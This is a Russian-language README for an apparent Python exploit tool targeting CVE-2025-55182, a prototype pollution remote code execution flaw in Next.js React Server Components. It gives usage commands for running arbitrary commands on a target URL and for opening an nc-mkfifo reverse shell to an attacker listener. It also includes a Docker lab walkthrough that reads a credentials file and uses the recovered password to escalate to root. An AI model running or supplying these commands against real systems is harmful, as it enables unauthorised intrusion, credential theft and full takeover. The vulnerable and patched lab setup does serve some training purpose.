
Эксплуатирует CVE-2025-55182 для удалённого выполнения кода через prototype pollution.
Автор: Severian N.K.
Этот инструмент эксплуатирует уязвимость prototype pollution в приложениях Next.js, использующих React Server Components, что приводит к удалённому выполнению кода (RCE). Он поддерживает как прямое выполнение команд, так и обратные оболочки.
Этот проект использует виртуальное окружение Python для управления зависимостями. Убедитесь, что у вас установлен Python 3.
Настройка виртуального окружения:
python3 -m venv venv
Активируйте окружение и установите зависимости:
source venv/bin/activate
pip install -r requirements.txt
Убедитесь, что виртуальное окружение активировано (source venv/bin/activate), перед запуском эксплойта.
Чтобы выполнить одну команду на цели:
python3 exploit.py -u <TARGET_URL> -c "<COMMAND>"
Пример:
python3 exploit.py -u http://example.com -c "id"
Чтобы получить обратную оболочку с цели:
python3 exploit.py -u <TARGET_URL> -r -l <LISTENER_IP> -p <LISTENER_PORT>
Пример:
python3 exploit.py -u http://example.com -r -l 10.10.10.2 -p 9001 -P nc-mkfifo
Каталог lab/ содержит два независимых Docker-окружения:
lab/vulnerable): работает на порту 3000.lab/patched): работает на порту 3001.cd lab/vulnerable
chmod +x build.sh run.sh
./build.sh
./run.sh
Доступ по адресу: http://localhost:3000
cd lab/patched
chmod +x build.sh run.sh
./build.sh
./run.sh
Доступ по адресу: http://localhost:3001
Вы должны указать IP-адрес слушателя (--lhost) и порт (--lport). IP-адрес моста Docker можно найти с помощью ip addr show docker0 (обычно 172.17.0.1).
python exploit.py -u http://localhost:3000 -r -l 172.17.0.1 -p 6000 -P nc-mkfifo
Примечание: Мы используем
-P nc-mkfifo, поскольку на целевой системе работает Alpine Linux, для которой требуется особый тип полезной нагрузки.
Уязвимый контейнер предоставляет доступ к секретному файлу.
python3 exploit.py -u http://localhost:3000 -c "cat /secret/credentials.txt"
# Output: manager:SuperSecret2025!
Вы можете повысить привилегии с пользователя nextjs до root, используя скомпрометированные учётные данные.
su - manager (Пароль: SuperSecret2025!)sudo su (Пароль: SuperSecret2025!)cat /root/flag.txt
# Output: Congratulations! You have gained full control over the system!
Вклад приветствуется! Если вы нашли ошибку или у вас есть идея по улучшению, пожалуйста, откройте issue или отправьте pull request.